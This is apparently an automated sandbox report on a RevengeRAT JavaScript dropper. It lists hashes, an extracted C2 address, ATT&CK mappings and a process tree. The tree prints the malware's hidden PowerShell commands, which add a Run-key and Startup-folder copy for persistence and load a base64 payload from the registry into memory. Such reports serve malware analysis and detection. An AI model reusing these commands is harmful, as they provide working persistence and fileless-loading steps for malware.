revengerat | 213857b03db27acb0cb52357799ba8f3ce4adb843e66ddc35bf8949d10ebd61a

General

Target

1Documentosdereserva.js
Size

60KB
MD5

14e68a45361bb287393747ce2b271838
SHA1

16144ac8dc7ecc27e4667a3241da8810f8b84778
SHA256

213857b03db27acb0cb52357799ba8f3ce4adb843e66ddc35bf8949d10ebd61a
SHA512

1a865076c36fa8bf69eba5aca97298be88b093f50af16b63ac878a6482f928c418e547296d00075e1a27c85580af337e8f41781180eee50755754d8915dbe8fb
SSDEEP

768:tvRmozOfNAG9lUAy1NgRXbkDvAAdkqC9m3ppOJlPcLNdpgF3hFAto:94oifpTq1NxAAiqC9mZpk8NdpW3hF2o

Score

10^/10

revengerat nyancatrevenge execution persistence trojan

Malware Config

Extracted

Family

revengerat

Botnet

NyanCatRevenge

C2

54.146.241.16:5222

Mutex

f9796de67e

Signatures

RevengeRAT
Remote-access trojan with a wide range of capabilities.
trojan revengerat

Blocklisted process makes network request 1 IoCs

flow	pid	Process
17	3980	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
736	powershell.exe
808	powershell.exe
3908	powershell.exe
3980	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Control Panel\International\Geo\Nation	wscript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Control Panel\International\Geo\Nation	wscript.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\1Documentosdereserva.js	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\cocacola = "C:\\Users\\Admin\\AppData\\Roaming\\1Documentosdereserva.js"	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\SYSTEM\CENTRALPROCESSOR\0	powershell.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	powershell.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
736	powershell.exe
736	powershell.exe
808	powershell.exe
3980	powershell.exe
3908	powershell.exe
3980	powershell.exe
808	powershell.exe
3908	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	736	powershell.exe
Token: SeDebugPrivilege	808	powershell.exe
Token: SeDebugPrivilege	3980	powershell.exe
Token: SeDebugPrivilege	3908	powershell.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 4872 wrote to memory of 736	4872	wscript.exe	84
PID 4872 wrote to memory of 736	4872	wscript.exe	84
PID 736 wrote to memory of 3280	736	powershell.exe	86
PID 736 wrote to memory of 3280	736	powershell.exe	86
PID 3280 wrote to memory of 808	3280	wscript.exe	87
PID 3280 wrote to memory of 808	3280	wscript.exe	87
PID 3280 wrote to memory of 3908	3280	wscript.exe	89
PID 3280 wrote to memory of 3908	3280	wscript.exe	89
PID 3280 wrote to memory of 3980	3280	wscript.exe	91
PID 3280 wrote to memory of 3980	3280	wscript.exe	91

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\1Documentosdereserva.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4872
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "[System.IO.File]::WriteAllText([Environment]::GetEnvironmentVariable('AppData')+'\1Documentosdereserva.js',[System.IO.File]::ReadAllText('C:\Users\Admin\AppData\Local\Temp\1Documentosdereserva.js'));wscript 'C:\Users\Admin\AppData\Roaming\1Documentosdereserva.js'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:736
- - C:\Windows\system32\wscript.exe
    "C:\Windows\system32\wscript.exe" C:\Users\Admin\AppData\Roaming\1Documentosdereserva.js
    3⤵
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:3280
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "New-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -name 'cocacola' -value 'C:\Users\Admin\AppData\Roaming\1Documentosdereserva.js' -PropertyType String -Force;"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Adds Run key to start application
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:808
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "[System.IO.File]::WriteAllText([Environment]::GetFolderPath(7)+'\1Documentosdereserva.js',[System.IO.File]::ReadAllText('C:\Users\Admin\AppData\Roaming\1Documentosdereserva.js'))"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Drops startup file
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3908
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "$_b = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'cocacola').cocacola;$_b=$_b.replace('~','0');[byte[]]$_0 = [System.Convert]::FromBase64String($_b);$_1 = [System.Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke($null,$null);"
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Checks processor information in registry
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3980

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

JavaScript

1

T1059.007

PowerShell

1

T1059.001

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

3

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Filesize
53KB

MD5
a26df49623eff12a70a93f649776dab7

SHA1
efb53bd0df3ac34bd119adf8788127ad57e53803

SHA256
4ebde1c12625cb55034d47e5169f709b0bd02a8caa76b5b9854efad7f4710245

SHA512
e5f9b8645fb2a50763fcbffe877ca03e9cadf099fe2d510b74bfa9ff18d0a6563d11160e00f495eeefebde63450d0ade8d6b6a824e68bd8a59e1971dc842709c

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vld3uzsr.nka.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\1Documentosdereserva.js

Filesize
60KB

MD5
14e68a45361bb287393747ce2b271838

SHA1
16144ac8dc7ecc27e4667a3241da8810f8b84778

SHA256
213857b03db27acb0cb52357799ba8f3ce4adb843e66ddc35bf8949d10ebd61a

SHA512
1a865076c36fa8bf69eba5aca97298be88b093f50af16b63ac878a6482f928c418e547296d00075e1a27c85580af337e8f41781180eee50755754d8915dbe8fb

Download Submit
memory/736-0-0x00007FF9DE4F3000-0x00007FF9DE4F5000-memory.dmp

Filesize
8KB

Download
memory/736-10-0x000001A774D00000-0x000001A774D22000-memory.dmp

Filesize
136KB

Download
memory/736-11-0x00007FF9DE4F0000-0x00007FF9DEFB1000-memory.dmp

Filesize
10.8MB

Download
memory/736-12-0x00007FF9DE4F0000-0x00007FF9DEFB1000-memory.dmp

Filesize
10.8MB

Download
memory/736-13-0x000001A7772E0000-0x000001A777324000-memory.dmp

Filesize
272KB

Download
memory/736-16-0x000001A7773B0000-0x000001A777426000-memory.dmp

Filesize
472KB

Download
memory/736-46-0x00007FF9DE4F3000-0x00007FF9DE4F5000-memory.dmp

Filesize
8KB

Download
memory/736-47-0x00007FF9DE4F0000-0x00007FF9DEFB1000-memory.dmp

Filesize
10.8MB

Download
memory/3980-44-0x000001635C410000-0x000001635C41A000-memory.dmp

Filesize
40KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads